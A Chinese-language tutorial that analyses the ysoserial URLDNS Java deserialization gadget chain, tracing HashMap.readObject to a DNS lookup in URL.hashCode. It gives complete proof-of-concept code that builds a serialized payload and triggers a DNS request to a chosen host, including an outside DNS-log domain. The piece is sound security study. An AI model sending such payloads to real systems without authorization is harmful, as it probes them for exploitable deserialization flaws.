urldns链
URLDNS 是ysoserial中⼀个利⽤链的名字，但准确来说，这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令，⽽仅为⼀个URL，其能触发的结果也不是命令执⾏，⽽是⼀次DNS请求。
虽然这个“利⽤链”实际上是不能“利⽤”的，但因为其如下的优点，⾮常适合我们在检测反序列化漏洞时使⽤
- 使⽤Java内置的类构造，对第三⽅库没有依赖,因此对java版本没有限制
- 在⽬标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞
前置知识
gadget
Java反序列化漏洞产生漏洞的形式大致有两种,
- 一种是上下文入口类的readObject方法中直接包含了危险操作(危险函数)且传入危险函数的参数可控(这种情况很少)
- 还有一种情况就是入口类的readObject方法中间接调用了其它类(B类),在B类中又调用了恶意的方法或调用了其它包含恶意方法的类,这种链式触发命令执行的结构被称为反序列化利用链,组成这种链式结构中的"成员类"被称为Gadget而这种链式结构被称为Gadget Chain,通过构造Gadget Chain可以进行反序列化攻击。
漏洞分析
ysoserial里是这样生成payload的
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
利用链
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
urldns是yso中较为简单的一个gadget，所以这里可以直接通过正向分析的方式进行分析
看到 URLDNS 类的 getObject ⽅法，ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对象，这个对象就是最后将被序列化的对象，在这⾥是 HashMap。因为触发反序列化的⽅法是 readObject,那么可以直奔 HashMap 类的 readObject ⽅法：
HashMap#readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
putVal这一段，这里调用了hash方法来处理key，跟进hash方法：
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里又调用了key.hashCode方法,这里的key是一个URL对象,让我们看看URL的hashCode方法：
URL#hashCode：
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
在URL类的hashCode方法中，又调用了URLStreamHandler#hashCode，并将自身传递进去：
URLStreamHandler#hashCode
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
getHostAddress，正是这步触发了dns请求：
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null) {
return u.hostAddress;
}
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名，获取其IP地址，在⽹络上其实就是⼀次 DNS查询。
可以理解为,在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.
这里存在一个问题,当我们生成payload的时候,也会存在计算哈希的过程,我们需要避免这个操作,
回到第一步：HashMap#readObject
key是使用readObject取出来的，也就是说在writeObject一定会写入key
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
跟入internalWriteEntries
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
这里的key以及value是从tab中取的，而tab的值即HashMap中table的值。
此时我们如果想要修改table的值，就需要调用HashMap#put方法，而HashMap#put方法中也会对key调用一次hash方法，所以在这里就会产生第一次dns查询
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
即
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://xrgsnqezso.yutu.eu.org");
map.put(url,123); //此时会产生dns查询
}
只想判断payload在对方机器上是否成功触发，那就应该避免掉这一次dns查询以及多余的操作，回到URL#hashCode：
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这里会先判断hashCode是否为-1，如果不为-1则直接返回hashCode，也就是说我们只要在put前修改URL的hashCode为其他任意值，就可以在put时不触发dns查询。(hashCode默认值为-1)
这里的hashCode是private修饰的，所以我们需要通过反射来修改其值
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://xrgsnqezso.yutu.eu.org");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); //修改访问权限
f.set(url,123); //设置hashCode值为123，这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值，验证是否修改成功
map.put(url,123); //调用map.put 此时将不会再触发dns查询
}
此时输出url的hashCode为123，证明修改成功。
当put完毕之后再将url的hashCode修改为-1，确保在反序列化调用hashCode方法时能够正常进行，下面是完整的POC
#URLDNS.java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://xxxx.xxx.xxx");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef); // 设一个值, 这样 put 的时候就不会去查询 DNS
hashMap.put(url, "rmb122");
f.set(url, -1); // hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
#Test.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Test {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
回过头来看看yso的payload
yso在创建URL对象时使用了三个参数的构造方法。yso用了子类继承父类的方式规避了dns查询的风险，其创建了一个内部类：
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
定义了一个URLConnection和getHostAddress方法，当调用put方法走到getHostAddress方法后，会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress，这里直接return null了，所以自然也就不会产生dns查询。